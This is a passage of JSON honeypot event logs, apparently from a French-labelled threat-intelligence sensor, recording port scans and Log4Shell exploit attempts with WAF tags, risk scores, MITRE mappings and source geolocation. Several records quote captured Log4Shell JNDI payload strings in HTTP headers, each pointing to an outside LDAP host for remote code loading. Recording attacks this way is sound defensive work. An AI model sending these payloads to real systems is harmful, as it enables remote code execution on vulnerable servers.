10.0; Win64; x64) App\u0022, \u0022target_port_label\u0022: \u002220640 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 60 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220640\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 17, \u0022scan_velocity_ports_per_s\u0022: 3.43, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":7,"bytes_in":179},{"id":7106413,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":22651,"dst_port":20626,"service":"http","classification":"log4j_jndi","waf_score":80,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022]","http_method":"POST","http_target":"\/search","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 10, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022c51ac35fada4dbeba9496c1059dd5b6837848af4\u0022, \u0022http_host_hash\u0022: \u002219c52d8bab1189a82a8bf9de204e378b64730222\u0022, \u0022http_target_hash\u0022: \u0022e3319f35c1041681a2994ba4d7dc71295caceb96\u0022, \u0022http_referer_hash\u0022: \u0022c51ac35fada4dbeba9496c1059dd5b6837848af4\u0022, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 624, \u0022payload_entropy\u0022: 5.320902850736226, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20626, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 94.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 48, \u0022risk_granularity\u0022: 4.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 100, \u0022tag_count\u0022: 21, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d92a5114617244ec51d8e558dfdec6a70787bc63\u0022, \u0022event_fingerprint\u0022: \u00227c4c0c9f13254b0cf18710f7974ad20deebe48f5\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 582, \u0022precision_signals\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-fb-001\u0022], \u0022matched_pattern_names\u0022: [\u0022Log4j JNDI\u0022], \u0022pattern_ids\u0022: [\u0022pat-fb-001\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 100, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022log4shell_probe\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 95.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002225ad8330c5cd2d7c3e4fc42cf2088d1f\u0022, \u0022payload_hash\u0022: \u00225537706f7156ead46ff0db5f9d547139\u0022, \u0022path_pattern_hash\u0022: \u00226fb5b7787ecacd9111098c7c0555980b\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 100}, \u0022payload_preview\u0022: \u0022POST \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/search\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022POST \/search HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.\u0022, \u0022payload_snippet\u0022: \u0022POST \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/search\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022POST \/search HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.\u0022, \u0022payload_snippet\u0022: \u0022POST \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1190\u0022, \u0022T1059\u0022], \u0022mitre\u0022: \u0022T1190\u0022, \u0022threat_family\u0022: [\u0022log4shell_probe\u0022], \u0022recommended_client_action\u0022: \u0022block\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00220be7e1cb43729bb2090fa8e45aea1d5782ba8182\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/search\u0022, \u0022request_line\u0022: \u0022POST \/search HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\u0022, \u0022port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:\u0022, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20626 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/search\u0022, \u0022target_port_label\u0022: \u002220626 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 100\/100 (Critique) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 100, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 100, \u0022risk_label\u0022: \u0022Critique\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20626, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022Http Log4J\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022recommended_action\u0022: \u0022block\u0022, \u0022recommended_action_label\u0022: \u0022Bloquer (recommand\u00e9)\u0022, \u0022mitre\u0022: \u0022T1190\u0022, \u0022mitre_technique\u0022: \u0022T1190\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/search\u0022, \u0022request_line\u0022: \u0022POST \/search HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\u0022, \u0022port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20626 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/search\u0022, \u0022evidence_snippet\u0022: \u0022POST \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:\u0022, \u0022target_port_label\u0022: \u002220626 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 11 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220626\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 17, \u0022scan_velocity_ports_per_s\u0022: 3.45, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_block\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_credential_body\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_jndi\u0022, \u0022http_jwt_body\u0022, \u0022http_log4shell\u0022, \u0022http_ssti\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:20626","http_user_agent":"${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}","http_referer":"${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}","tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_credential_body\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_jndi\u0022, \u0022http_jwt_body\u0022, \u0022http_log4shell\u0022, \u0022http_ssti\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":624},{"id":7106412,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":20117,"dst_port":20626,"service":"http","classification":"log4j_jndi","waf_score":42,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022]","http_method":"GET","http_target":"\/search","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 9, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022c51ac35fada4dbeba9496c1059dd5b6837848af4\u0022, \u0022http_host_hash\u0022: \u002219c52d8bab1189a82a8bf9de204e378b64730222\u0022, \u0022http_target_hash\u0022: \u0022e3319f35c1041681a2994ba4d7dc71295caceb96\u0022, \u0022http_referer_hash\u0022: \u0022c51ac35fada4dbeba9496c1059dd5b6837848af4\u0022, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 498, \u0022payload_entropy\u0022: 5.259047090159397, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20626, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 94.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 12, \u0022risk_granularity\u0022: 4.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 77, \u0022tag_count\u0022: 11, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022e0d003bd3916206a0158be266421c8fe5f533fdc\u0022, \u0022event_fingerprint\u0022: \u00227c4c0c9f13254b0cf18710f7974ad20deebe48f5\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 342, \u0022precision_signals\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-fb-001\u0022], \u0022matched_pattern_names\u0022: [\u0022Log4j JNDI\u0022], \u0022pattern_ids\u0022: [\u0022pat-fb-001\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 77, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022log4shell_probe\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 95.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002225ad8330c5cd2d7c3e4fc42cf2088d1f\u0022, \u0022payload_hash\u0022: \u0022b8f42d77e4ba60f009310a29628c3a8c\u0022, \u0022path_pattern_hash\u0022: \u00226fb5b7787ecacd9111098c7c0555980b\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 77}, \u0022payload_preview\u0022: \u0022GET \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/search\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022GET \/search HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.16\u0022, \u0022payload_snippet\u0022: \u0022GET \/search HTTP\/1.1\\r\\nHost: 62.3.50.33:20626\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/search\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4601\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022GET \/search HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/search HTTP\/1.1\\r\\nHost: 